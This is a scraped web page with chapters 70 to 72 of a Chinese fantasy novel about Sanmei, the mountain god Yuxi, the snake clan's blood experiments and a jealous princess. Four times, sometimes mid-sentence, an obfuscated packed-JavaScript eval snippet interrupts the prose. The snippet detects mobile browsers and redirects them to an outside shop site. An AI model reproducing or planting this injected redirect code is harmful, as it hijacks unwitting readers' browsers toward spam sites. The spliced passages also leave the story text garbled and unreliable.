事到如今,何必再牵扯一个无辜的人进来? 难道真要让他们蛇族,全都以死谢罪才能平息这场恩怨? 玉玺撩起眼皮看了三枚一眼,眸中有惊讶一闪而过,不过很快又垂下。 她貌似冷笑了一声:“那个叫做小屋子的,不也才十岁?你动手的时候,也没见你手下留情啊。” “啧!” 小屋子那能算人吗?早就被荼毒得只剩一副空壳了。 提到小屋子,三枚就脑壳疼,拧着的眉头一紧。 她的指腹一下一下按压着太阳穴,目光仍旧停留在洞口那边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321520|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>静谧的洞穴里,突然“啪嗒”一声,好似有石头脱落了墙壁,掉了下来。 三枚看着咕噜噜滚到脚边的小石子,忽而缓缓转回头,声音很轻很轻地道:“你方才说怀璧其罪,其实造成云水乡的百姓葬身镜湖底下的惨况,也有你的一份责任吧?” 堂堂镇山神,哪就那么容易被人算计? 孟庄和石春华的谋算设计得再怎么天衣无缝,对别人来说犹如的没顶之灾的泥石流和洪荒,在你镇山神玉玺眼里,也不过区区小灾。 “你放任了吧?” “你本可以力挽狂澜的,但你没有。”三枚看着玉玺,“你故意眼睁睁看着云水乡,被冰冷无情的洪水吞没,甚至就连你一直以来所镇守的云顶山,也顺水推舟,任其坍塌覆灭。” “镇山神玉玺,你口中所指的恶,当初就那么滑溜溜地从你的眼皮子底下划过了呢。” 你冷眼旁观了,因为你心里也有了怨。 玉玺的眼眸一直低垂着,稀疏的眼睫毛在她的眼底覆盖了点点的阴影。 三枚的话音刚落,玉玺眼下那斑斑点点的阴影,瞬间犹如边上的烛火一般,快速地一跃一颤了起来。 “云水乡啊,云顶山啊。”玉玺突然有些感慨地叹道,“好久没有听见这两个名字了,多少年了啊,貌似过了一辈子那样久了。” “当你站在高巅之上,根本就分不清,一脸虔诚地匍匐跪拜在你脚下的芸芸众生里,有多少人在暗暗在心底,生了将你拽落神坛的嫉恨和恶意。” 三枚没有否定玉玺的话,却是道:“人有善恶两面,是个人就有私欲,你应该比谁都清楚才是。” “你不能强求每个人都心如止水、毫无恶念。” “是啊,你说的对。”玉玺终于抬起了眼皮,血红的眼睛不再空洞,她看着三枚说道:“所以,我顺了他们的意,配合着堕入了深渊。” “从善,还是作恶,我让他们自己来取舍。”她嗤笑了一声,“如今,谁生活在太阳底下,谁只能沉没暗无天日的黑暗,一目了然。” 三枚眉头越皱越深:“当年因洪水和泥石流而遇害的人员,官府文书只记载了个大约,五百人。” “云水乡死了一半的百姓。”看着玉玺,三枚摇着头道:“难道就因为他们对你心生了恶念。” 玉玺眼眸逐渐清澈,她迎着三枚不解的杏眸,轻声道:“你以为,就凭石春华那个愚蠢的白眼狼,就能将我的玉娘骗走?” 三枚瞳孔一颤,就听玉玺叹笑一声:“小屋子才十岁,被孟庄那么一点拨,野心一下子就膨胀了起来。” “云水乡的有些人呐,心性还不如她一个小丫头呢。” 视线忽而移到冰床角落的盛放着老虎木雕的木匣子,三枚的眉头紧蹙,心想:这东西,果然是个大麻烦! 三枚不欲再跟玉玺纠扯下去,听着从洞口传来的越来越近的脚步声,她蹲下-身,重新背上自己的锁魂箱,转身时想了想,道:“孟庄是个丧心病狂的,石春华也是个穷凶极恶的,你的玉娘,是靠小坂妹而得到的解脱。” 走了一步,她又道:“石芸娘是他们两人试验的失败品,这个你早就知道。” “小坂妹的身上,可也流着你玉娘的血呢。” 70. 第 70 章 其实事情说复杂也不算如何复杂。 蛇族人豢养水蛇是传统。 如同海上人信奉海龙王,他们水上蛇族,则坚信蛟龙之说。 而蛟龙的前身,有人传说乃蛇蟒。 起初蛇族什么种类的水蛇都有人养,后来不知道怎么的,大家都不约而同地,开始专挑毒蛇。 后来,为了能让毒蛇忠心耿耿听从自己驱使,蛇族人更是从自己的身上取血,每日都用鲜血喂养它们。 久而久之,豢养的毒蛇就成了蛇族人拿捏在手的武器。 然而万事万物都讲究一个物极必反。 这样诚心精贵养大的毒蛇,攻击性和护主意识虽然很强,但是有个致命的缺点——毒杀敌人一击毙命的毒液,一旦得到释放,它也必将被反噬而亡。 而且无论人还是蛇,还都不能远离水域生活。 因此不到万不得已,蛇族人轻易不会让自己豢养的毒蛇露面。 但这样的缺点,只局限于普通的蛇族人,若毒蛇的主人是双胞胎的话,又另有说法。 蛇族的双胎,被认为是异体同心的存在,所以只能共有一条水蛇,而且不用鲜血喂养,也能令其屈服听令。 重点是,双胎不管男女,俱都拥有继承水鬼的天赋。 蛇族的水鬼能够操控蛇尾圆雕,能够在任何水域,翻手覆雨吞没一切,并且还能驱使所有的蛇类为己用,不管那蛇认没认主。 孟庄虽然也是水鬼,但他和小屋子一样,驱使蛇蟒的能力仿佛与生俱来,然而却无法操控蛇尾圆雕。 这也是为什么这么多年来,蛇族被水都陆民打压得犹如过街老鼠,不仅无法随意上岸,而且还卑微得连贱民都不如,但又从来不曾奋起反抗的原由之一。 当初弑兄夺位的孟庄无法操控蛇尾圆雕,又怕被族人发现自己的罪行,图穷匕见之下,与的心狠手辣的石春华一拍即合,偷走了封印在云顶山的邪术禁书。 两人还共同谋划了将镇山神玉玺拽下神坛的计划。 因为他们,打算自己造神。 于是,可怜的玉娘不仅被她们意外身亡,死后浑身的鲜血还被抽了个干净。 两个被利欲熏心的恶魔,勾结后生下了石芸娘。 在石芸娘还未满月的时候,孟庄和石春华就将她身上的血给换了。 犹如板桥三娘子的故事那般,将人变成了驴,实际上人被困在了驴皮里,石芸娘却是被换了血。 然而只填注了一小部分从玉娘身上抽下来的鲜血,石芸娘便受不住,差点暴毙而亡。 结果显而易见,换了血的石芸娘却是个连赝品都算不上的废物,被当做了弃子驱离。 以至于石芸娘后来生下了薛婉茹,也从来没入过石春华的眼。 眼看蛇族日复一日衰败,孟庄和石春华打算分道扬镳的时候,小坂妹和小屋子出世了。 蛇族近五十年来唯一对双生,竟成了两人破釜沉舟的最后稻草。 若是成功,那么他们的手中,就将拥有能够同时操控蛇尾圆雕和虎头木雕的人。 凭空造神,梦想指日可待。 于是还不足满月的两个丫头,俱都被孟庄神不知鬼不觉地换了血。 据三枚的观察,小屋子那丫头,应该早就知道了,甚至利用这一点,私下里偷偷拿身上的鲜血,喂养那条叫做榆次的水虺巨蟒。 恶,就是恶,不分男女老少。 被刻意放纵、利欲滋养的恶,令人遍体生寒的同时,更多的是一种难言的悲哀。 三枚摇了摇头,觉得千万人心,千万复杂,直叫人头疼难解。 视线里终于出现了兰哥搀扶着一瘸一拐的小坂妹的身影,三枚有些出神地望着洞口的方向。 “善恶两面,这世上存在着极致的恶,也有令人心生不忍的善。” 看着小坂妹,三枚扭头看了玉玺一眼,忽而轻声细语地道:“我想,你应该也受够了吧。” “整天躲在黑咕隆咚的洞穴里,躺在寒冷彻骨的冰床上,睁着眼眼一天一天熬日子的逃避行为,是时候结束了吧。” 三枚的声音很轻很轻,说出口的话,犹如飘絮一般,一字一顿都飘入了玉玺的耳朵里。 垂眸不语的玉玺,浑身一颤,再抬眼时,眼前已经没了她的人影。 取而代之的,是高高瘦瘦、一脸心虚的兰哥,和他手里扶着的、仿佛随时就要昏厥的孱弱小坂妹。 明明处在生命里最为旺盛蓬勃、最为天真纯粹的年纪,站在黑乎乎的洞穴里的两人,垂头丧气的模样,像极了风吹雨打过后,焉了吧唧、即将凋零枯萎的野花野草。 “唉。”无声地叹了一口长长的浊气,玉玺缓缓地闭上了眼睛。 这五十年来,她无时无刻不在埋怨和懊悔。 埋怨在她之前的镇山神,为何要为水上蛇族赐下蛇尾圆雕,滋养了他们的野心和欲望。 而自己,更不该应了蛇族人的苦苦哀求,帮他们将毁坏了的蛇尾圆雕修复完好。 早知道啊早知道...... 世上没有后悔药。 “罢了吧。”她在心里对自己说道。 —— 三枚背着锁魂箱往外走,与兰哥和小坂妹二人擦肩而过的时候,衣袖突然被人一扯。 她侧头一看,就见兰哥苦着一张脸,一双忽闪忽闪的眼睛,好像会说话一般,看着三枚一副“你这就走了?那我俩怎么办”的无助表情。 再看小脸苍白的小坂妹,眼里也同样流露着惊慌无措。 被两人的表情逗乐,三枚心里觉得好笑,但也没再多说什么,扯回自己的袖子,小手一挥,特别潇洒地走了。 留下兰哥和小坂妹面面相觑了一会儿,确认三枚不会再回头后,两人才又硬着头皮往前走。 听见身后的一轻一重、越走越远的脚步声,三枚嘴角浮起一抹淡淡的微笑,拐过洞口的时候,余光瞥见小坂妹缓缓地跪到了地上,也只轻轻挑了挑眉,便毫不犹如地收回了视线。 小坂妹面无血色,浑身发颤,低着头不敢直视冰床上的人。 须臾,她像是终于下了决心,将一直戴在头上的虎头蛇尾小长簪,轻轻地从蒲桃髻上抽了出来,连同一直藏在袖中的蛇尾圆雕,和紧紧握在手上的小木棍,一并举过头顶。 小手向前一递,小坂妹道:“小女孟慧,以水尾寨蛇族第七十二代水鬼之身,特来向镇山神请罪。” —— 三枚撑着一口气,终于从黑黝黝的洞府里走了出来。 陡然被外头又亮又刺眼的阳光照到,三枚顿时一阵头晕眼花,本能地闭上了眼睛,抬手遮在额前,一直挺拔的身板忽而向前一弯。 她现在身上一点力气都没有,走路连脚都抬不起来了,只能拖着地,慢腾腾往前挪。 “哎哟哟,这弯腰驼背、有气无力的颓丧样儿,还是本世子从前认识的小三枚么?”边上突然裴元传来怪腔怪调的声音。 三枚不用转头也能想象得出来,此刻挂在他脸上的表情,有多贱兮兮。 懒得搭理他,三枚现在只想找个干净也安静的地儿,好好睡他个三天三夜! “嘿,你个小三枚,还不理人!”裴元三步并作两步,一下子就追上了三枚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338135|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大手直接往三枚肩上一拍,他小声道:“你可别好的不学,尽学陆在野那傲慢不搭理人的臭毛病!” 肩上突然受重,本来就摇摇欲坠的三枚,肩膀一歪,差点没被裴元给拍得踉跄倒地。 裴元见状,桃花眼一瞪,指着三枚大声道:“呔!” “你居然连邢安然碰瓷的招儿,也给拿下了!你——” 三枚咬着牙,转头瞪他:“关你屁事!” “好你个小三枚,竟然说脏话!小心我跟陆在野告状。” 三枚翻了个大白眼,“你爱说说去呗。” “正好我也跟陆衎说说,之前你背地里竟然对他的评价是暴戾、凶残、赶尽杀绝狠厉性格之人!” 记性居然这么好! 竟将自己之前说过的话,记得一清二楚、一字不差! 被倒打一耙、反将一军的裴元,喉头一哽,一边左顾右盼,生怕被人听见,一边颤抖着手指着三枚,小小声道:“好你个过河拆桥的小三枚,竟然如此没有道义!” “咱俩私下里说的话,竟然就这么堂而皇之地说出来了,你这是要置我于死地啊!” 三枚哼了一声:“是你先拿人威胁我的。” 自己不过是“礼尚往来”罢了。 “你——”裴元张口欲言,余光敏锐地瞄到了前方拐角处的一抹赭红色的身影,立马闭口不言。 他双唇紧抿,快速上前一步,背对着拐角,朝满脸倦色的三枚使了个眼色,最后用手比了个抹脖子的手势,接着便撒腿跑了。 经过陆衎身边的时候,裴元讨好地笑了笑,飞快地在他耳边低声说道:“陆在野啊,你悠着点啊,小三枚看着心情不是很好的样子。” 陆衎一顿:怎么又心情不好了?难道在洞府里被欺负了? 裴元却是在心里腹诽道:若是看见你还摆着这样一张冷漠冰山脸,小三枚看了不定心情更糟! 到时候真把人吓跑了,到哪里说理去。 陆衎被他说得眉头一拧,吓得裴元像老鼠一样,嗖一下就弹开了。 “以我过来人的经验啊,先哄着,啊,把人哄到手了再说。”他一边说一边挥手,“我就不陪你了啊,我先撤,你加油哦。” 真是,什么话都往外冒!一点正经样儿没有! 陆衎看着裴元越窜越远的背影,恨不得给他狠狠踹上一脚。 深呼吸一口气,他平复了下心情,忽而眉头又是一拧,陆衎抬手摸了摸自己的脸,一时有些不知道该以什么表情面对三枚才好。 毕竟,之前在水上分开的时候,三枚貌似心情不是很愉快的样子。 陆衎顿在原地,开始思考起了裴元的话,一边调整着脸上的神情,一边努力回忆裴元以前用来哄骗小姑娘的话术。 “陆衎。”身后突然传来三枚有气无力的声音。 不知怎的,陆衎脑海里忽而浮现出几个时辰前,三枚毫无预兆流着鼻血的样子,心尖一颤,他立马转身回头。 就见三枚小眼一翻,缓缓向后倒去。 “我要——”倒了。 陆衎瞳孔蓦然瞪大,三枚的话还没说完,他一个箭步就将人抱在了怀里。 “你、怎么了?” 他好像被吓到了,连声音都在发颤。 三枚倒在陆衎坚实的怀抱里,半睁半闭的杏眸里,模模糊糊好像倒映着陆衎满脸惊慌失措的样子,于是她努力抬手,软绵绵地拍了拍陆衎的脸。 “没事没事,”她缓缓闭上眼睛,轻声呢喃道:“我就是累了,睡一觉就好。” “睡一觉就好,你别怕啊。” 71. 第 71 章 三枚所谓的睡一觉,一睡就是三天三夜。 第一天,陆衎一身冷气拽着太子的随行太医,来给三枚诊脉的时候,裴元吊儿郎当站在人群的最后头,小小声在邢正耳边嘀咕:“瞧把陆在野紧张的,简直没眼看!” 瞧! 不管是眧州亦或水都的大夫医师,还是太医院的太医,都说小三枚是累过了头,睡一觉就没事,偏他陆在野紧张得跟什么似的,居然夸张到连觉都不睡了,就守在边上等着。 啧啧,没眼看! 邢正睨了他一眼:“少说两句吧你。”少在陆在野心情不好的时候口无遮拦。 第二天,三枚还是没醒。 裴元站在门外瑟瑟发抖,他使劲搓着手臂,直觉陆衎方圆五里之内,温度低得能将人冻伤。 偷偷往房间里觑上一眼,他见陆衎阴沉着脸,正提笔刷刷给都城各大名医写信。 “我说,”他瞧瞧挪到邢正的背后,一边偷眼观察着陆衎的脸色,一边只敢用腹语说话:“应该没事吧。” 不知道是不是被陆衎影响了,本来不以为意的裴元,心里不免也有些担忧。 他指着窝在三枚脚边的小八耳,不确定地道:“你看这只叫做八耳的小鸡,能吃能睡、不急也不躁,一点异样都没有,所以小三枚,应该不会有什么事的吧。” 裴元戳了戳邢正的肩头:“你说,我说的对吗?” 邢正双手环胸,黑炭脸一皱:“但愿吧。”不吃不喝睡了整整两天的人,不多见就是了。 结果第三天过去了,三枚仍旧还在呼呼大睡。 期间就没醒过一次。 任谁看,这都是不正常的。 正常人哪有一睡就睡三天,期间不吃不喝、甚至连翻个身的动作都没有! 若不是人还在正常呼吸,他们都快以为是睡过去了。 这个时候,不管是裴元还是邢正,已经不敢随便在陆衎的眼前乱晃了。 就怕一个表情不对,就触了他的霉头。 听说之夜凌晨已经带着人,将蒋敏生的住宅和那个莫名其妙的洞府都包围了,陆衎亲自去“请”那个神秘的镇山神玉玺去了。 裴元连这等热闹都不去凑了,“开玩笑,我可是很惜命的。” 邢正这几天在眧州和水都来来回回,忙得黑眼圈都快掉到下巴去了。 他揉了揉发僵发酸的大脸,他指着隔壁院子的方向,道:“话说,小八耳今儿怎么从三枚的房间里出来了?” 跟老僧入定似的,闭着眼睛,立在屋顶上一动不动。 “肯定是这几天受够了陆在野那厮的低气压,出来喘口气的吧。”裴元皱着脸,忽而有些惆怅地想:“小三枚,不会真出事了吧?” “没事的,没事的。” “就是累着了,睡醒就没事了。”院子的角落处,五花大绑着一个彪形大汉。 听见裴元和邢正的对话,再看了眼远处屋顶上威风凛凛的八耳,他笑呵呵地道:“睡饱了就没事。” 裴元一脸问号:“人还能睡饱的?” 大汉高声一笑:“哈哈,当然可以!” “睡饱了,人就精神了,人一精神,就该晓得肚子饿了。”大汉又是一笑,“等饿得慌了,自然就醒了。” “还有这等怪事?” 彪形大汉点头:“山门序家,向来如此。” 邢正蹙眉:“什么意思?” “咳咳,就是说,”彪形大汉习惯性想抬手盘一下自己的大光头,一动才记起自己被反手捆绑着。 他尴尬笑了笑,才慢声道:“传说吧,寻尸五门,就属山门一脉精神意志和体能体质最为脆弱,连手无缚鸡之力的寻常百姓都打不过。” “能量低,防御弱,又不爱抱团,江湖上有关寻尸人的纷争,据我所了解到的,不管他们山门有没有参与其中,总是特别容易被当做攻击的目标。” 谁都不想莫名其妙被当做箭靶子针对,也不想做冲锋陷阵的出头鸟,所以为了远离江湖上的恩恩怨怨,避开不必要的矛盾和斗争,山门序家是所有寻尸人里,第一个选择归隐山林、避世隐居的寻尸人。 “但是吧,我最近呢,得到了最新的消息。”彪形大汉眨了眨他亮晶晶的牛眼,一脸神秘地道。 裴元问道:“什么最新的消息?” 大汉:“山门自从换了新的家主后,门下人居然开始习武了。” 邢正眉头一挑,忽而想起三枚曾经说过,她和小八耳只专精一招。 而且在云客来再遇时,她那两手云挽花的动作,又漂亮又标准,看得出,确实是有点功夫在身上的。 “他们山门人少啊,对上别人人多势众的时候,以前只能被追着、压着打的份儿。但是习武了就不一样了啊,你自己武力强盛起来了,别人就不敢随便欺负你了。” “听说现在的山门啊,啧啧啧,已经今时不同往日了。” 寻尸五门,十年前就变了天,山门不再是人人可欺的受气包了,也不再是躲着藏着、息事宁人的窝囊废了。 现在若是碰见来挑衅找茬的人家啊,直接把人打得满地找牙、哭爹喊娘,攻击性强得很! 裴元半信半疑,折扇有节奏地拍了拍掌心,“这跟小三枚昏睡了三天三夜还不醒,有什么关系?” “诶嘿,这关系就大了去了。” 裴元不耐烦,折扇啪嗒一扇:“挑重点!废话少说!” “嘿嘿,”彪形大汉从角落里咕噜噜往前一滚,对着一脸好奇的裴元和邢正,谄媚一笑。 “裴世子,邢捕头,你看,是否给小的先松松绑,好让我将前儿个跋山涉水、千辛万苦寻罗来的消息拿出来,再同您二位爷,好好说道说道?” 他的双手,被严严实实捆绑在背后,十指指腹却一直在搓啊搓的,好像在数钞票一样。 裴元嘴角一抽,立马想到自己被骗的一万两大银。 被他压抑在心底的火气,猛然往上一窜,对着彪形大汉,他抬脚就是一踹,唾沫星子一啐:“呸!” “包有料,还我钱来!” —— 正如包有料所言,睡饱了的三枚,早就饿得前胸贴后背了。 但她意识清醒了,人却还陷在幻梦里出不去。 三枚感觉自己已经好久好久,没有这么舒舒服服地睡上一个安稳觉,好不容易睡得精神饱满,睁眼却发现自己突然置身于一片灰蒙蒙的世界。 天地好似混沌一体,雾茫茫根本分不清东西南北。 周围安静得落针可闻,偶尔略过一阵呼呼的风声,阴森森的冷,拂过人的肌肤,很快就激起了一身的鸡皮疙瘩。 三枚揉了揉还有些酸涩的眼睛,双手撑着膝盖,无奈地站起了身。 “啪嗒、啪嗒、” 她慢慢地往前走,耳边回荡着节奏规律的脚步声。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361089|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啪嗒、啪嗒。” 听着听着,她的嘴角忽而微微上扬。 三枚慢吞吞的,又向前走了两步,接着猛然一回头,就见身后自己走过的地面,跟了好几串大小不一的黑色脚印。 估计是没料到自己会忽然转身,那串脚印瞬间乱成一团,无头苍蝇一般,仓皇无措地撞来撞去。 “哼!”三枚轻轻一哼,吓得它们陡然汗毛一竖,瞬间不敢动弹。 晃了晃腕上的五铢钱,饿得快要眼冒金星的三枚,缓缓地转过身。 她席地而坐,伸手想抓几个小脚印来审审。 却在这时,耳边突然响起了一阵嗡嗡嗡的细微响动。 三枚动作一顿,闭着眼睛,侧耳仔细聆听了一会儿,才辨出这是一段吟唱声。 旋律声声入耳,但不知为何,歌词却听得模糊不清,甚至都无法分辨吟唱者是男是女。 听了好一会儿,一脸困惑的三枚,实在是听不出个所以然来,只好重新睁开眼睛。 使劲揉了揉饿得咕咕叫的肚子,她的余光向下一瞥,之前那串黑色的脚印,不知什么时候,已经消失不见了。 “既然入了幻梦,有事你就说事,别搞这么些古古怪怪的。” 别耽误她睡醒吃饭的时间。 “咻咻咻——” 白茫茫的视野里,忽而刮起了一阵阴风,三枚眉间一蹙,等了好一会儿,眼前依旧没出现半个鬼影,连之前若隐若现的低吟声,都不见了。 “再不说,我可就走了哦。” 三枚一边说,一边抬起左手,食指指腹作势就要抵住腕上的五铢钱,她对着白茫茫的四周环顾了一圈,“我数到三,一、二——” “呼呼呼——” 除了越吹越猛烈的阴风,和越来越浓厚的雾气,三枚的面前仍旧空茫一片。 歪了歪头,食指抵上五铢钱,三枚正欲结束幻梦,忽而想到什么,眼尾向上一挑,淡声说道:“你、没能敲响梦铃,对不对?” 所以不仅发不出任何声音,也无法在自己的面前现行,更别说是诉说请托了。 三枚轻轻拍了拍自己的额头,果然人不能挨饿,只要一饿肚子,脑子就迟钝得很。 从刚才睁眼到现在,她的耳边始终没有听见金属互相撞击的叮铃声的时候,就该想到的——黑色脚印的主人,没有敲响她山门棺椁之上的梦铃。 怪不得眼前这个幻梦,看起来如此令人费解,又莫名其妙。 估计此番进入她的锁魂箱里的亡灵太多,导致周围磁场混乱,阴差阳错触发了幻梦吧。 这般想着,三枚的指腹便毫无负担地抵到了五铢钱上,一边打哈欠一边闭上双眼,轻巧地结束了眼前的虚无幻梦。 然而就在她即将抽身离开的时候,耳边不仅骤然疯响起了熟悉的叮铃声,八耳尖锐的打鸣声更是犹如铁锤般痛击着她的耳膜。 可怜的三枚,被迫再经历了一次,幻梦和真实世界的极限拉扯。 她的眼前顿时发黑,头痛欲裂地摇晃着脑袋,不一会儿就失去了意识。 —— “咿呀——” 随着一声诡异的开门声,三枚的意识逐渐开始恢复,她听着离自己越来越近的、一窸窸窣窣的鬼祟声响。 三枚狠狠地皱着眉头,忽而一个用力,猛然便睁开了眼睛。 她眼神犀利,盯着头顶上方的陌生女人,沉声道:“你是谁?” 72. 第 72 章 “你是谁?” “我是陆衎未过门的妻子。” 长曜郡主说完,不待三枚反应,自己就先慌了。 她捂着嘴,不自居后退了一步,神情紧绷,努力控制着自己的表情。 见三枚眼神直盯盯地看着自己,长曜郡主意识到自己可能失态了,连忙放下双手,故作镇定地坐到了椅子上。 她端起桌上的空茶杯,掩饰性地递到唇边,遮住了自己的半边脸,垂眸假装喝水的时候,眼底全是慌乱无措。 真是的,自己最近也太倒霉了吧! 长曜郡主瞬间咬牙切齿、面露狰狞之色。 自己先是被贱人蛊惑,脑袋发热居然在及笄之际离京倒追陆衎,途中马车颠簸,从没吃过一点苦的长曜郡主,半路就后悔了。 但一向争强好胜,尤其最好面子的她,最后还是硬挺着一口气,咬着牙撑到了眧州。 怎知眧州连天大雨,又潮湿又阴冷,长曜郡主因为水土不服,难受了好几日,期间不仅连陆衎一面也没见上,还阴错阳差得罪了裴子钰那个混不吝,最后什么好处都没得到,稀里糊涂就被塞进回京的车马。 半路遇到太子和三皇子,他乡遇亲人,长曜郡主喜极而泣,不料在大雨滂沱之中,居然被半哄半骗地又拐回了眧州。 她心中的苦楚和委屈还没来得及诉说呢,就被天子丢过来的一封书信,给砸懵了。 刚打开信封,又叫写信的母亲在字里行间给骂得狗血淋头,逼得她眼泪哗哗,好不委屈! 好不容易在太子表哥的帮助下,长曜郡主终于见到了心心念念的陆衎,结果话没说两句,就被陆衎一脸严词厉色地训斥了一通。 长曜郡主当时就懵了,陆衎什么时候变得这般不近人情了? 令她伤心又困惑了好几日的问题,终于在水都得到了答案。 陆衎他,被外头的野女人,给迷住了眼了! 初初得知这个消息时,长曜郡主是又喜又怒。 喜的是陆衎这样的大冰山,居然也有消融、迎来春天的时候,简直应了那句老话——守得云开见月明啊! 然而令她愤怒的是,破冰的人,居然不是自己!而是某个来历不明的野女人! 长曜郡主多方打听,才听说这个野女人好像是得了什么大病,已经昏迷不醒三天三夜了。 她心里暗喜,恨不得叫那情敌赶紧死了,却又对人好奇得不得了。 能让陆衎这样的冰块动心的女人,到底要长成了什么狐媚样? 然而陆衎这人实在是太绝了,居然将那个女人所在的小院守卫得铁桶一般,不相干的人谁都不让进,就连太子和三皇子来了,也只能吃闭门羹。 就在长曜郡主好奇得抓心挠肝的时候,半个时辰前,陆衎居然带着之夜出门了! 铁通一样水泄不通的藏娇金屋儿,终于让她找到了个漏缝儿,偷偷给溜了进来。 结果她才刚靠近,昏迷了三天三夜的人儿,突然就睁开了眼睛,而且还十分凶狠地瞪着你。 长曜郡主差点被吓得惊厥过去,脑子一片空白,听见对方冷漠的质问声,一股脑就将自己平日里心中的肖想脱口而出。 说完自己就羞耻得脚趾扣抵,恨不得找个地缝钻进去。 就在长曜郡主尴尬得恨不得抽自己两巴掌的时候,三枚杏眸眨了眨,小小地打了个哈欠。 揉了揉还有些酸胀的太阳穴,她长长地吐了一口气:“肚子可真饿啊!” 三枚刚刚从幻梦的拉扯里挣脱出来,半梦半醒睁开眼睛的时候,陡然看见头顶上方出现了个陌生女人,还以为是来请托的怨灵呢。 没想到自己不过才问了一句话,就将人吓得一脸惊慌失措。 虽然还没彻底清醒,但对方刚才自称是陆衎未过门的妻子那句话,却是十分清晰地落入了三枚的耳朵。 眼珠子转了一圈,高处的房梁,身下的软榻,边上的器具,还有一脸心虚倒抓着个茶杯往嘴里灌空气的“陆衎未过门的妻子”,三枚眉头一挑,看来自己这次是真醒了。 看来跟幻梦的拉扯,小八耳又赢了一场。 仔细想想,它好像还从未输过,可真把它能耐的! 三枚动了动睡得发酸发软的手,不动声色地打量起了对面一身珠圆玉润、娇娇俏俏的小姑娘,忽而淡声道:“你说,你是陆衎未过门的妻子?” “咳咳。” 正表演喝空气的长曜郡主,猝不及防被问,让自己的口水给呛到了。 深呼吸一口气,她慢慢地放下了手中的空茶杯,想象着她娘平日在家训斥他爹房里的那群小妾的样子,轻哼了一声,眼尾微抬,不急不缓地斜睨了三枚一眼。 她居高临下地、自上而下扫了三枚一眼,高傲地道:“准确地说,本郡主是他将来的、未过门的妻子。” 将来的?未过门的妻子? 三枚拍了拍耳朵,明明听得一清二楚,但她愣是没能反应过来,这句话是个什么意思? 是我饿出了幻听呢,还是对面那姑娘说的不是人话? “你没听错!本郡主与陆衎虽然还未谈婚论嫁,但将来陆夫人的位置,坐着的一定是本郡主。” 合着这是还没拉屎,就先抢占了茅坑的意思? 长曜郡主端出了自己的身份,以为彻底唬住了三枚,于是神色越加睥睨,仿佛一点没将她放在眼里。 她沉声一问:“你,听懂了吗?” 脖子发僵的三枚活动着脖子,闻言点头:“嗯哼。” 她满脸的不以为然:“所以呢?你怎么跑我这儿来了?” 蓄势待发正准备舌战情敌的长曜郡主,被三枚云淡风轻的态度给问懵了,一噎:“你!” 若是见得到陆衎,我稀罕上你这儿来? 被三枚轻飘飘一句话戳到了痛处,长曜郡主气得拍桌:“放肆,谁容你这般与本郡主说话的?” “还不快滚下来,跪到本郡主的面前。” “啧!”眉头不自觉一拧,三枚扫了眼莫名其妙发脾气的长曜郡主,淡声道:“你吵到我了。” 她的声音明明听起来轻声细语的,长曜郡主却被她眉间不经意间流露出的一点戾气,吓得心脏莫名一颤,顿觉汗流浃背。 气势这么强,难不成还是混江湖的? 长曜郡主突然想起了娘亲在长信里写的,说什么世道混乱,尤其眧州这种频繁发生祸乱的乡里巴郊的小地方,什么杀人越货的魔头都有,尤其是长得普通普通看起来十分不起眼的人。 心下一凛,她不由开始正视三枚,重新对她认真审视了起来。 长曜郡主托着下巴,看着三枚,情不自禁地想:要说普通吧,眼前这丫头的长相,还真不能算不起眼,但要说多么的惊为天人吧,那倒也没有。 她想着想着,思绪就开始跑偏了,心里又开始愤愤不平了起来。 哼!还以为是什么国色天香的大美人呢,就这等小家碧玉的普通样貌,除了肤色白嫩了点、皮肤紧致嫩滑了点、杏眸水汪透亮了点、再加上五官轮廓流畅立体了一点点,其他不过尔尔。 特别是她居然一脸的素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369861|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面朝天、披头散发,还穿了一身不三不四的灰色道袍,看起来真是不伦不类,一点淑女的气质都没有。 长耀郡主咬着后槽牙:陆衎真会喜欢上这样的人? 